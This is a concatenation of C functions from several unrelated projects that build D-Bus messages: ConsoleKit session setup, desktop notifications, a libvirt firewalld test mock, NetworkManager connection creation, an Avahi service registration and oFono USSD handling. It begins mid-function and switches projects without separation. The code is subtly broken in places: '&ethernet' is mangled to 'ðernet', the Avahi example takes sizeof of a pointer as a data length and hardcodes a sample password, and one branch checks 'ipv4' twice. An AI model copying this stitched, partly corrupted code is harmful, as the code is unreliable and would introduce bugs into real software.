dbus_error_init (&local_error);
reply = dbus_connection_send_with_reply_and_block (connector->connection,
message,
-1,
&local_error);
if (reply == NULL) {
if (dbus_error_is_set (&local_error)) {
dbus_set_error (error,
CK_CONNECTOR_ERROR,
"Unable to open session: %s",
local_error.message);
dbus_error_free (&local_error);
goto out;
}
}
dbus_error_init (&local_error);
if (! dbus_message_get_args (reply,
&local_error,
DBUS_TYPE_STRING, &cookie,
DBUS_TYPE_INVALID)) {
if (dbus_error_is_set (&local_error)) {
dbus_set_error (error,
CK_CONNECTOR_ERROR,
"Unable to open session: %s",
local_error.message);
dbus_error_free (&local_error);
goto out;
}
}
connector->cookie = strdup (cookie);
if (connector->cookie == NULL) {
goto out;
}
connector->session_created = TRUE;
ret = TRUE;
out:
if (reply != NULL) {
dbus_message_unref (reply);
}
if (message != NULL) {
dbus_message_unref (message);
}
return ret;
}
static dbus_bool_t
add_param_basic (DBusMessageIter *iter_array,
const char *name,
int type,
const void *value)
{
DBusMessageIter iter_struct;
DBusMessageIter iter_variant;
const char *container_type;
switch (type) {
case DBUS_TYPE_STRING:
container_type = DBUS_TYPE_STRING_AS_STRING;
break;
case DBUS_TYPE_BOOLEAN:
container_type = DBUS_TYPE_BOOLEAN_AS_STRING;
break;
case DBUS_TYPE_INT32:
container_type = DBUS_TYPE_INT32_AS_STRING;
break;
default:
goto oom;
break;
}
if (! dbus_message_iter_open_container (iter_array,
DBUS_TYPE_STRUCT,
NULL,
&iter_struct)) {
goto oom;
}
if (! dbus_message_iter_append_basic (&iter_struct,
DBUS_TYPE_STRING,
&name)) {
goto oom;
}
if (! dbus_message_iter_open_container (&iter_struct,
DBUS_TYPE_VARIANT,
container_type,
&iter_variant)) {
goto oom;
}
if (! dbus_message_iter_append_basic (&iter_variant,
type,
value)) {
goto oom;
}
if (! dbus_message_iter_close_container (&iter_struct,
&iter_variant)) {
goto oom;
}
if (! dbus_message_iter_close_container (iter_array,
&iter_struct)) {
goto oom;
}
return TRUE;
oom:
return FALSE;
}
void GMNotifyDaemon::notify(const FXchar * summary,const FXchar * body,FXint timeout,FXImage* image){
FXint iw,ih,is,ibps,ichannels,isize;
dbus_bool_t ialpha;
const FXchar * idata=NULL;
DBusMessage * msg = method("Notify");
if (msg){
DBusMessageIter iter;
DBusMessageIter array;
DBusMessageIter dict;
DBusMessageIter value;
DBusMessageIter variant;
DBusMessageIter data;
dbus_message_iter_init_append(msg,&iter);
gm_dbus_append_string(&iter,appname);
dbus_message_iter_append_basic(&iter,DBUS_TYPE_UINT32,&msgid);
if (image && (flags&IMAGE_WITHOUT_APPICON)) {
FXString empty;
gm_dbus_append_string(&iter,empty);
}
else {
gm_dbus_append_string(&iter,appicon);
}
dbus_message_iter_append_basic(&iter,DBUS_TYPE_STRING,&summary);
dbus_message_iter_append_basic(&iter,DBUS_TYPE_STRING,&body);
dbus_message_iter_open_container(&iter,DBUS_TYPE_ARRAY,DBUS_TYPE_STRING_AS_STRING,&array);
if (persistent) {
if (GMPlayerManager::instance()->can_prev())
gm_dbus_append_string_pair(&array,"media-skip-backward","Previous");
if (GMPlayerManager::instance()->can_pause())
gm_dbus_append_string_pair(&array,"media-playback-pause","Pause");
else if (GMPlayerManager::instance()->can_play())
gm_dbus_append_string_pair(&array,"media-playback-start","Play");
if (GMPlayerManager::instance()->can_stop())
gm_dbus_append_string_pair(&array,"media-playback-stop","Stop");
if (GMPlayerManager::instance()->can_next())
gm_dbus_append_string_pair(&array,"media-skip-forward","Next");
}
dbus_message_iter_close_container(&iter,&array);
dbus_message_iter_open_container(&iter,DBUS_TYPE_ARRAY,"{sv}",&array);
if (image && image->getData()) {
// const FXchar * icon_data="icon_data"; /// spec 0.9 says "image_data". some use "icon_data" though..
// const FXchar * icon_data="image-data"; /// spec 0.9 says "image_data". some use "icon_data" though..
ialpha = true;
iw = image->getWidth();
ih = image->getHeight();
is = iw*4;
ibps = 8;
ichannels = 4;
isize = iw*ih*4;
FXColor * bgra = NULL;
allocElms(bgra,(iw*ih));
gm_bgra_to_rgba(image->getData(),bgra,(iw*ih));
idata = (const FXchar*)bgra;
dbus_message_iter_open_container(&array,DBUS_TYPE_DICT_ENTRY,0,&dict);
gm_dbus_append_string(&dict,icondata);
dbus_message_iter_open_container(&dict,DBUS_TYPE_VARIANT,"(iiibiiay)",&variant);
dbus_message_iter_open_container(&variant,DBUS_TYPE_STRUCT,NULL,&value);
dbus_message_iter_append_basic(&value,DBUS_TYPE_INT32,&iw);
dbus_message_iter_append_basic(&value,DBUS_TYPE_INT32,&ih);
dbus_message_iter_append_basic(&value,DBUS_TYPE_INT32,&is);
dbus_message_iter_append_basic(&value,DBUS_TYPE_BOOLEAN,&ialpha);
dbus_message_iter_append_basic(&value,DBUS_TYPE_INT32,&ibps);
dbus_message_iter_append_basic(&value,DBUS_TYPE_INT32,&ichannels);
dbus_message_iter_open_container(&value,DBUS_TYPE_ARRAY,DBUS_TYPE_BYTE_AS_STRING,&data);
dbus_message_iter_append_fixed_array(&data,DBUS_TYPE_BYTE,&idata,isize);
dbus_message_iter_close_container(&value,&data);
dbus_message_iter_close_container(&variant,&value);
dbus_message_iter_close_container(&dict,&variant);
dbus_message_iter_close_container(&array,&dict);
freeElms(bgra);
}
//gm_dbus_dict_append_bool(&array,"transient",true);
if (persistent) {
// if (GMPlayerManager::instance()->playing())
gm_dbus_dict_append_bool(&array,"resident",true);
// else
// gm_dbus_dict_append_bool(&array,"transient",true);
gm_dbus_dict_append_bool(&array,"action-icons",true);
}
dbus_message_iter_close_container(&iter,&array);
dbus_message_iter_append_basic(&iter,DBUS_TYPE_INT32,&timeout);
send(msg,this,ID_NOTIFY_REPLY);
}
}
VIR_MOCK_IMPL_RET_ARGS(dbus_connection_send_with_reply_and_block,
DBusMessage *,
DBusConnection *, connection,
DBusMessage *, message,
int, timeout_milliseconds,
DBusError *, error)
{
DBusMessage *reply = NULL;
const char *service = dbus_message_get_destination(message);
const char *member = dbus_message_get_member(message);
size_t i;
size_t nargs = 0;
char **args = NULL;
char *type = NULL;
VIR_MOCK_IMPL_INIT_REAL(dbus_connection_send_with_reply_and_block);
if (STREQ(service, "org.freedesktop.DBus") &&
STREQ(member, "ListNames")) {
const char *svc1 = "org.foo.bar.wizz";
const char *svc2 = VIR_FIREWALL_FIREWALLD_SERVICE;
DBusMessageIter iter;
DBusMessageIter sub;
reply = dbus_message_new(DBUS_MESSAGE_TYPE_METHOD_RETURN);
dbus_message_iter_init_append(reply, &iter);
dbus_message_iter_open_container(&iter, DBUS_TYPE_ARRAY,
"s", &sub);
if (!dbus_message_iter_append_basic(&sub,
DBUS_TYPE_STRING,
&svc1))
goto error;
if (!fwDisabled &&
!dbus_message_iter_append_basic(&sub,
DBUS_TYPE_STRING,
&svc2))
goto error;
dbus_message_iter_close_container(&iter, &sub);
} else if (STREQ(service, VIR_FIREWALL_FIREWALLD_SERVICE) &&
STREQ(member, "passthrough")) {
bool isAdd = false;
bool doError = false;
if (virDBusMessageDecode(message,
"sa&s",
&type,
&nargs,
&args) < 0)
goto error;
for (i = 0; i < nargs; i++) {
/* Fake failure on the command with this IP addr */
if (STREQ(args[i], "-A")) {
isAdd = true;
} else if (isAdd && STREQ(args[i], "192.168.122.255")) {
doError = true;
}
}
if (fwBuf) {
if (STREQ(type, "ipv4"))
virBufferAddLit(fwBuf, IPTABLES_PATH);
else if (STREQ(type, "ipv4"))
virBufferAddLit(fwBuf, IP6TABLES_PATH);
else
virBufferAddLit(fwBuf, EBTABLES_PATH);
}
for (i = 0; i < nargs; i++) {
if (fwBuf) {
virBufferAddLit(fwBuf, " ");
virBufferEscapeShell(fwBuf, args[i]);
}
}
if (fwBuf)
virBufferAddLit(fwBuf, "\n");
if (doError) {
dbus_set_error_const(error,
"org.firewalld.error",
"something bad happened");
} else {
if (nargs == 1 &&
STREQ(type, "ipv4") &&
STREQ(args[0], "-L")) {
if (virDBusCreateReply(&reply,
"s", TEST_FILTER_TABLE_LIST) < 0)
goto error;
} else if (nargs == 3 &&
STREQ(type, "ipv4") &&
STREQ(args[0], "-t") &&
STREQ(args[1], "nat") &&
STREQ(args[2], "-L")) {
if (virDBusCreateReply(&reply,
"s", TEST_NAT_TABLE_LIST) < 0)
goto error;
} else {
if (virDBusCreateReply(&reply,
"s", "success") < 0)
goto error;
}
}
} else {
reply = dbus_message_new(DBUS_MESSAGE_TYPE_METHOD_RETURN);
}
cleanup:
VIR_FREE(type);
for (i = 0; i < nargs; i++)
VIR_FREE(args[i]);
VIR_FREE(args);
return reply;
error:
if (reply)
dbus_message_unref(reply);
reply = NULL;
if (error && !dbus_error_is_set(error))
dbus_set_error_const(error,
"org.firewalld.error",
"something unexpected happened");
goto cleanup;
}
/**
* add connection settings to network manager
*/
int qaul_network_settings_add(DBusConnection* dbus_connection, qaul_dbus_connection_settings* settings, qaul_dbus_device_properties* device)
{
DBusMessage* msg;
DBusMessageIter iter;
DBusMessageIter iter_array[7];
char uuid[37];
const char* connection_path_ptr;
dbus_uint32_t wlan_channel_ui32;
printf("qaul_network_settings_add\n");
msg = dbus_message_new_method_call(
"org.freedesktop.NetworkManager",
"/org/freedesktop/NetworkManager/Settings",
"org.freedesktop.NetworkManager.Settings",
"AddConnection"
);
if(msg == NULL)
{
printf("qaul_network_settings_add msg error\n");
return 0;
}
const char* connection_str = "connection";
const char* connection_keys[] = {"id", "type", "uuid", "zone"};
const char* connection_values[] = {"qaul.net", NULL, NULL, "public"};
// connection uuid
qaul_dbus_create_uuid(uuid);
connection_values[2] = uuid;
printf("uuid: %s\n", uuid);
// configure settings type & structure
if(device->type == 2)
{
connection_values[1] = "802-11-wireless";
}
else if(device->type == 1)
{
connection_values[1] = "802-3-ethernet";
}
dbus_message_iter_init_append(msg, &iter);
// configure connection settings
if(!(
dbus_message_iter_open_container (&iter, DBUS_TYPE_ARRAY, "{sa{sv}}", &iter_array[0])
&& dbus_message_iter_open_container(&iter_array[0], DBUS_TYPE_DICT_ENTRY, NULL, &iter_array[1])
&& dbus_message_iter_append_basic(&iter_array[1], DBUS_TYPE_STRING, &connection_str)
&& dbus_message_iter_open_container(&iter_array[1], DBUS_TYPE_ARRAY, "{sv}", &iter_array[2])
&& qaul_dbus_append_dict_entry(&iter_array[2], connection_keys[0], DBUS_TYPE_STRING, &connection_values[0])
&& qaul_dbus_append_dict_entry(&iter_array[2], connection_keys[1], DBUS_TYPE_STRING, &connection_values[1])
&& qaul_dbus_append_dict_entry(&iter_array[2], connection_keys[2], DBUS_TYPE_STRING, &connection_values[2])
&& qaul_dbus_append_dict_entry(&iter_array[2], connection_keys[3], DBUS_TYPE_STRING, &connection_values[3])
&& dbus_message_iter_close_container(&iter_array[1], &iter_array[2])
&& dbus_message_iter_close_container(&iter_array[0], &iter_array[1])
))
{
printf("qaul_network_settings_add append connection settings error\n");
return 0;
}
// configure wireless device
if(device->type == 2)
{
const char* wlan = connection_values[1];
const char* wlan_keys[] = {"ssid", "mode", "band", "channel"};
const char* wlan_values[] = {NULL, "adhoc", "bg"};
wlan_channel_ui32 = settings->wifi_channel +0;
if(!(
dbus_message_iter_open_container(&iter_array[0], DBUS_TYPE_DICT_ENTRY, NULL, &iter_array[1])
&& dbus_message_iter_append_basic(&iter_array[1], DBUS_TYPE_STRING, &wlan)
&& dbus_message_iter_open_container(&iter_array[1], DBUS_TYPE_ARRAY, "{sv}", &iter_array[2])
// add hardware MAC address
&& qaul_dbus_append_device_mac(&iter_array[2], device)
// SSID dict entry as byte array
&& dbus_message_iter_open_container(&iter_array[2], DBUS_TYPE_DICT_ENTRY, NULL, &iter_array[3])
&& dbus_message_iter_append_basic(&iter_array[3], DBUS_TYPE_STRING, &wlan_keys[0])
&& dbus_message_iter_open_container(&iter_array[3], DBUS_TYPE_VARIANT, "ay", &iter_array[4])
&& dbus_message_iter_open_container(&iter_array[4], DBUS_TYPE_ARRAY, DBUS_TYPE_BYTE_AS_STRING, &iter_array[5])
&& qaul_dbus_append_ssid(&iter_array[5], settings->wifi_ssid)
&& dbus_message_iter_close_container(&iter_array[4], &iter_array[5])
&& dbus_message_iter_close_container(&iter_array[3], &iter_array[4])
&& dbus_message_iter_close_container(&iter_array[2], &iter_array[3])
// end SSID dict entry
&& qaul_dbus_append_dict_entry(&iter_array[2], wlan_keys[1], DBUS_TYPE_STRING, &wlan_values[1])
&& qaul_dbus_append_dict_entry(&iter_array[2], wlan_keys[2], DBUS_TYPE_STRING, &wlan_values[2])
&& qaul_dbus_append_dict_entry(&iter_array[2], wlan_keys[3], DBUS_TYPE_UINT32, &wlan_channel_ui32)
&& dbus_message_iter_close_container(&iter_array[1], &iter_array[2])
&& dbus_message_iter_close_container(&iter_array[0], &iter_array[1])
))
{
printf("qaul_network_settings_add append wireless error\n");
return 0;
}
}
// configure Ethernet device
else if(device->type == 1)
{
const char* ethernet = connection_values[1];
if(!(
dbus_message_iter_open_container(&iter_array[0], DBUS_TYPE_DICT_ENTRY, NULL, &iter_array[1])
&& dbus_message_iter_append_basic(&iter_array[1], DBUS_TYPE_STRING, ðernet)
&& dbus_message_iter_open_container(&iter_array[1], DBUS_TYPE_ARRAY, "{sv}", &iter_array[2])
// add hardware MAC address
&& qaul_dbus_append_device_mac(&iter_array[2], device)
&& dbus_message_iter_close_container(&iter_array[1], &iter_array[2])
&& dbus_message_iter_close_container(&iter_array[0], &iter_array[1])
))
{
printf("qaul_network_settings_add append Ethernet error\n");
return 0;
}
}
// configure IP
// check available settings:
// http://sourcecodebrowser.com/network-manager/0.8/nm-setting-ip4-config_8h.html
const char* ipv4 = "ipv4";
const char* ipv4_method_key = "method";
const char* ipv4_method_value = "manual";
const char* ipv4_addresses = "addresses";
dbus_uint32_t ipv4_address_ip;
dbus_uint32_t ipv4_address_gateway;
inet_pton(AF_INET, settings->ipv4_address, &ipv4_address_ip);
inet_pton(AF_INET, settings->ipv4_gateway, &ipv4_address_gateway);
dbus_uint32_t ipv4_address_netmask = settings->ipv4_netmask +0;
const char* ipv4_dns = "dns";
dbus_uint32_t ipv4_dns_ip1;
dbus_uint32_t ipv4_dns_ip2;
inet_pton(AF_INET, settings->ipv4_dns1, &ipv4_dns_ip1);
inet_pton(AF_INET, settings->ipv4_dns2, &ipv4_dns_ip2);
if(!(
// append IP settings
dbus_message_iter_open_container(&iter_array[0], DBUS_TYPE_DICT_ENTRY, NULL, &iter_array[1])
&& dbus_message_iter_append_basic(&iter_array[1], DBUS_TYPE_STRING, &ipv4)
&& dbus_message_iter_open_container(&iter_array[1], DBUS_TYPE_ARRAY, "{sv}", &iter_array[2])
// append IP method
&& qaul_dbus_append_dict_entry(&iter_array[2], ipv4_method_key, DBUS_TYPE_STRING, &ipv4_method_value)
// append IP addresses
&& dbus_message_iter_open_container(&iter_array[2], DBUS_TYPE_DICT_ENTRY, NULL, &iter_array[3])
&& dbus_message_iter_append_basic(&iter_array[3], DBUS_TYPE_STRING, &ipv4_addresses)
&& dbus_message_iter_open_container(&iter_array[3], DBUS_TYPE_VARIANT, "aau", &iter_array[4])
// append IP address
&& dbus_message_iter_open_container(&iter_array[4], DBUS_TYPE_ARRAY, "au", &iter_array[5])
&& dbus_message_iter_open_container(&iter_array[5], DBUS_TYPE_ARRAY, DBUS_TYPE_UINT32_AS_STRING, &iter_array[6])
// append IP
&& dbus_message_iter_append_basic(&iter_array[6], DBUS_TYPE_UINT32, &ipv4_address_ip)
// append IP netmask
&& dbus_message_iter_append_basic(&iter_array[6], DBUS_TYPE_UINT32, &ipv4_address_netmask)
// append IP gateway
&& dbus_message_iter_append_basic(&iter_array[6], DBUS_TYPE_UINT32, &ipv4_address_gateway)
&& dbus_message_iter_close_container(&iter_array[5], &iter_array[6])
&& dbus_message_iter_close_container(&iter_array[4], &iter_array[5])
&& dbus_message_iter_close_container(&iter_array[3], &iter_array[4])
&& dbus_message_iter_close_container(&iter_array[2], &iter_array[3])
// append DNS settings
&& dbus_message_iter_open_container(&iter_array[2], DBUS_TYPE_DICT_ENTRY, NULL, &iter_array[3])
&& dbus_message_iter_append_basic(&iter_array[3], DBUS_TYPE_STRING, &ipv4_dns)
&& dbus_message_iter_open_container(&iter_array[3], DBUS_TYPE_VARIANT, "au", &iter_array[4])
&& dbus_message_iter_open_container(&iter_array[4], DBUS_TYPE_ARRAY, DBUS_TYPE_UINT32_AS_STRING, &iter_array[5])
// append first DNS address
&& dbus_message_iter_append_basic(&iter_array[5], DBUS_TYPE_UINT32, &ipv4_dns_ip1)
// append second DNS address
&& dbus_message_iter_append_basic(&iter_array[5], DBUS_TYPE_UINT32, &ipv4_dns_ip2)
&& dbus_message_iter_close_container(&iter_array[4], &iter_array[5])
&& dbus_message_iter_close_container(&iter_array[3], &iter_array[4])
&& dbus_message_iter_close_container(&iter_array[2], &iter_array[3])
// close IP settings
&& dbus_message_iter_close_container(&iter_array[1], &iter_array[2])
&& dbus_message_iter_close_container(&iter_array[0], &iter_array[1])
))
{
printf("qaul_network_settings_add append DNS error\n");
return 0;
}
// close settings
if(!(
dbus_message_iter_close_container(&iter, &iter_array[0])
))
{
printf("qaul_network_settings_add close settings error\n");
return 0;
}
if (!networkmanager_dbus_send(&msg, dbus_connection))
{
printf("qaul_network_settings_add networkmanager_dbus_send error\n");
return 0;
}
if (!dbus_message_iter_init(msg, &iter)
|| dbus_message_iter_get_arg_type(&iter) != DBUS_TYPE_OBJECT_PATH)
{
printf("qaul_network_settings_add != DBUS_TYPE_OBJECT_PATH error (%i), DBUS_TYPE_STRING %i \n", dbus_message_iter_get_arg_type(&iter), DBUS_TYPE_STRING);
if(dbus_message_iter_get_arg_type(&iter) == DBUS_TYPE_STRING)
{
dbus_message_iter_get_basic(&iter, &connection_path_ptr);
printf("qaul_network_settings_add error: %s\n", connection_path_ptr);
}
dbus_message_unref(msg);
return 0;
}
dbus_message_iter_get_basic(&iter, &connection_path_ptr);
strncpy(settings->dbus_connection_path, connection_path_ptr, sizeof(settings->dbus_connection_path));
dbus_message_unref(msg);
return 1;
}
void method_AddService(char *path)
{
DBusMessage* msg;
DBusMessageIter args;
DBusConnection* conn;
DBusError err;
dbus_error_init(&err);
DBusPendingCall* pending;
dbus_int32_t interface = -1;
dbus_int32_t protocol = -1;
dbus_uint32_t flags = 0;
char *name = "xifei";
char *type = "_http._tcp";
char *domain = "local";
char *host = "192.168.160.3";
dbus_uint16_t port = 500;
char *txt1 = "xifei";
char *txt2 = "password of xifei";
/*
<arg name="interface" type="i" direction="in"/>
<arg name="protocol" type="i" direction="in"/>
<arg name="flags" type="u" direction="in"/>
<arg name="name" type="s" direction="in"/>
<arg name="type" type="s" direction="in"/>
<arg name="domain" type="s" direction="in"/>
<arg name="host" type="s" direction="in"/>
<arg name="port" type="q" direction="in"/>
<arg name="txt" type="aay" direction="in"/>
*/
// initialiset the errors
printf("Calling remote method: %s\n", "org.freedesktop.Avahi.EntryGroup");
// connect to the system bus and check for errors
conn = dbus_bus_get(DBUS_BUS_SYSTEM, &err);
if (dbus_error_is_set(&err)) {
fprintf(stderr, "Connection Error (%s)\n", err.message);
dbus_error_free(&err);
}
if (NULL == conn) {
exit(1);
}
msg = dbus_message_new_method_call("org.freedesktop.Avahi",// target for the method call
path, // object to call on
"org.freedesktop.Avahi.EntryGroup", // interface to call on
"AddService"); // method nameResolveHostName
if (NULL == msg)
{
fprintf(stderr, "Message Null\n");
exit(1);
}
// append arguments
dbus_message_iter_init_append(msg, &args);
if (!dbus_message_iter_append_basic(&args, DBUS_TYPE_INT32, &interface))
{
fprintf(stderr, "Out Of Memory!\n");
exit(1);
}
if (!dbus_message_iter_append_basic(&args, DBUS_TYPE_INT32, &protocol))
{
fprintf(stderr, "Out Of Memory!\n");
exit(1);
}
if (!dbus_message_iter_append_basic(&args, DBUS_TYPE_UINT32, &flags))
{
fprintf(stderr, "Out Of Memory!\n");
exit(1);
}
if (!dbus_message_iter_append_basic(&args, DBUS_TYPE_STRING, &name))
{
fprintf(stderr, "Out Of Memory!\n");
exit(1);
}
if (!dbus_message_iter_append_basic(&args, DBUS_TYPE_STRING, &type))
{
fprintf(stderr, "Out Of Memory!\n");
exit(1);
}
if (!dbus_message_iter_append_basic(&args, DBUS_TYPE_STRING, &domain))
{
fprintf(stderr, "Out Of Memory!\n");
exit(1);
}
if (!dbus_message_iter_append_basic(&args, DBUS_TYPE_STRING, &host))
{
fprintf(stderr, "Out Of Memory!\n");
exit(1);
}
if (!dbus_message_iter_append_basic(&args, DBUS_TYPE_UINT16, &port))
{
fprintf(stderr, "Out Of Memory!\n");
exit(1);
}
/*
DBusMessageIter iter_ay, iter_y;
// Open dict entry container
if (!dbus_message_iter_open_container(&args, DBUS_TYPE_ARRAY, "ay", &iter_ay)) {
printf("Can't open container for iter_ay\n");
exit(1);
}
if (!dbus_message_iter_open_container(&iter_ay, DBUS_TYPE_ARRAY, "y", &iter_y)) {
printf("Can't open container for iter_y\n");
exit(1);
}
dbus_uint16_t bb=98;
dbus_uint16_t cc=97;
dbus_message_iter_append_basic(&iter_y, DBUS_TYPE_BYTE, &bb);
dbus_message_iter_append_basic(&iter_y, DBUS_TYPE_BYTE, &cc);
dbus_message_iter_close_container(&iter_ay, &iter_y);
dbus_message_iter_close_container(&args, &iter_ay);
g_message("signature of iter_ay: %s", dbus_message_iter_get_signature(&iter_ay));
g_message("signature of args: %s", dbus_message_iter_get_signature(&args));
*/
DBusMessageIter iter_ay, iter_y;
if (!dbus_message_iter_open_container(&args, DBUS_TYPE_ARRAY, "ay", &iter_ay))
{
printf("Can't open container for iter_ay\n");
exit(1);
}
if (!dbus_message_iter_open_container(&iter_ay, DBUS_TYPE_ARRAY, "y", &iter_y)) {
printf("Can't open container for iter_y\n");
exit(1);
}
if (!dbus_message_iter_append_fixed_array (&iter_y, DBUS_TYPE_BYTE, &txt1, sizeof(txt1)))
{
fprintf (stderr, "No memory!\n");
}
dbus_message_iter_close_container(&iter_ay, &iter_y);
dbus_message_iter_close_container(&args, &iter_ay);
g_message("arrive here1.");
g_message("signature of msg: %s", dbus_message_get_signature(msg));
// g_message("signature of iter_ay: %s", dbus_message_iter_get_signature(&iter_ay));
// g_message("signature of args: %s", dbus_message_iter_get_signature(&args));
// send message and get a handle for a reply
if (!dbus_connection_send (conn, msg, NULL)) { // -1 is default timeout
fprintf(stderr, "Out Of Memory!\n");
exit(1);
}
dbus_connection_flush(conn);
printf("Request Sent\n");
// free message
dbus_message_unref(msg);
}
void ofono_ussd_notify(struct ofono_ussd *ussd, int status, int dcs,
const unsigned char *data, int data_len)
{
DBusConnection *conn = ofono_dbus_get_connection();
const char *ussdstr = "USSD";
char *utf8_str = NULL;
const char *str;
const char sig[] = { DBUS_TYPE_STRING, 0 };
DBusMessage *reply;
DBusMessageIter iter;
DBusMessageIter variant;
DBG("status: %d %s, state: %d %s",
status, ussd_status_name(status),
ussd->state, ussd_state_name(ussd->state));
if (ussd->req &&
(status == OFONO_USSD_STATUS_NOTIFY ||
status == OFONO_USSD_STATUS_TERMINATED ||
status == OFONO_USSD_STATUS_TIMED_OUT ||
status == OFONO_USSD_STATUS_NOT_SUPPORTED)) {
ussd_request_finish(ussd, ussd_status_to_failure_code(status),
dcs, data, data_len);
ussd_change_state(ussd, USSD_STATE_IDLE);
return;
}
if (status == OFONO_USSD_STATUS_TERMINATED) {
ussd_change_state(ussd, USSD_STATE_IDLE);
if (ussd->pending == NULL)
return;
reply = __ofono_error_network_terminated(ussd->pending);
goto out;
}
if (status == OFONO_USSD_STATUS_NOT_SUPPORTED) {
ussd_change_state(ussd, USSD_STATE_IDLE);
if (ussd->pending == NULL)
return;
reply = __ofono_error_not_supported(ussd->pending);
goto out;
}
if (status == OFONO_USSD_STATUS_TIMED_OUT) {
ussd_change_state(ussd, USSD_STATE_IDLE);
if (ussd->pending == NULL)
return;
reply = __ofono_error_timed_out(ussd->pending);
goto out;
}
if (data && data_len > 0)
utf8_str = ussd_decode(dcs, data_len, data);
str = utf8_str;
/* TODO: Rework this in the Agent framework */
if (ussd->state == USSD_STATE_ACTIVE) {
reply = dbus_message_new_method_return(ussd->pending);
if (str == NULL)
str = "";
dbus_message_iter_init_append(reply, &iter);
dbus_message_iter_append_basic(&iter, DBUS_TYPE_STRING,
&ussdstr);
dbus_message_iter_open_container(&iter, DBUS_TYPE_VARIANT, sig,
&variant);
dbus_message_iter_append_basic(&variant, DBUS_TYPE_STRING,
&str);
dbus_message_iter_close_container(&iter, &variant);
if (status == OFONO_USSD_STATUS_ACTION_REQUIRED)
ussd_change_state(ussd, USSD_STATE_USER_ACTION);
else
ussd_change_state(ussd, USSD_STATE_IDLE);
} else if (ussd->state == USSD_STATE_RESPONSE_SENT) {
reply = dbus_message_new_method_return(ussd->pending);
if (str == NULL)
str = "";
dbus_message_append_args(reply, DBUS_TYPE_STRING, &str,
DBUS_TYPE_INVALID);
if (status == OFONO_USSD_STATUS_ACTION_REQUIRED)
ussd_change_state(ussd, USSD_STATE_USER_ACTION);
else
ussd_change_state(ussd, USSD_STATE_IDLE);
} else if (ussd->state == USSD_STATE_IDLE) {
const char *signal_name;
const char *path = __ofono_atom_get_path(ussd->atom);
int new_state;
if (status == OFONO_USSD_STATUS_ACTION_REQUIRED) {
new_state = USSD_STATE_USER_ACTION;
signal_name = "RequestReceived";
} else {
new_state = USSD_STATE_IDLE;
signal_name = "NotificationReceived";
}
if (str == NULL)
str = "";
g_dbus_emit_signal(conn, path,
OFONO_SUPPLEMENTARY_SERVICES_INTERFACE, signal_name,
DBUS_TYPE_STRING, &str, DBUS_TYPE_INVALID);
ussd_change_state(ussd, new_state);
goto free;
} else {
ofono_error("Received an unsolicited USSD but can't handle.");
DBG("USSD is: status: %d, %s", status, str);
goto free;
}
out:
g_dbus_send_message(conn, reply);
dbus_message_unref(ussd->pending);
ussd->pending = NULL;
free:
g_free(utf8_str);
}
